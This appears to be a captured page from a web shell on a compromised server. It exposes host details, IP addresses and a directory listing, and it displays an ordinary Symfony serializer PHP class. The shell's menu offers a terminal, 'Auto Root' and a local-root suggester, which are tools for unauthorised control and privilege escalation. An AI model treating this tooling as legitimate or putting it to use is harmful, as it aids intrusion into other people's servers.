Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.44
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
serializer /
Mapping /
Delete
Unzip
Name
Size
Permission
Date
Action
Factory
[ DIR ]
drwxrwxr-x
2022-07-28 13:33
Loader
[ DIR ]
drwxrwxr-x
2022-07-28 13:33
AttributeMetadata.php
6.58
KB
-rw-rw-r--
2022-07-28 13:33
AttributeMetadataInterface.php
2.71
KB
-rw-rw-r--
2022-07-28 13:33
ClassDiscriminatorFromClassMetadata.php
2.69
KB
-rw-rw-r--
2022-07-28 13:33
ClassDiscriminatorMapping.php
1.47
KB
-rw-rw-r--
2022-07-28 13:33
ClassDiscriminatorResolverInterface.php
807
B
-rw-rw-r--
2022-07-28 13:33
ClassMetadata.php
3.44
KB
-rw-rw-r--
2022-07-28 13:33
ClassMetadataInterface.php
1.51
KB
-rw-rw-r--
2022-07-28 13:33
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Serializer\Mapping; /** * @author Samuel Roze <samuel.roze@gmail.com> */ class ClassDiscriminatorMapping { private $typeProperty; private $typesMapping; public function __construct(string $typeProperty, array $typesMapping = []) { $this->typeProperty = $typeProperty; $this->typesMapping = $typesMapping; uasort($this->typesMapping, static function (string $a, string $b): int { if (is_a($a, $b, true)) { return -1; } if (is_a($b, $a, true)) { return 1; } return 0; }); } public function getTypeProperty(): string { return $this->typeProperty; } public function getClassForType(string $type): ?string { return $this->typesMapping[$type] ?? null; } /** * @param object|string $object */ public function getMappedObjectType($object): ?string { foreach ($this->typesMapping as $type => $typeClass) { if (is_a($object, $typeClass)) { return $type; } } return null; } public function getTypesMapping(): array { return $this->typesMapping; } }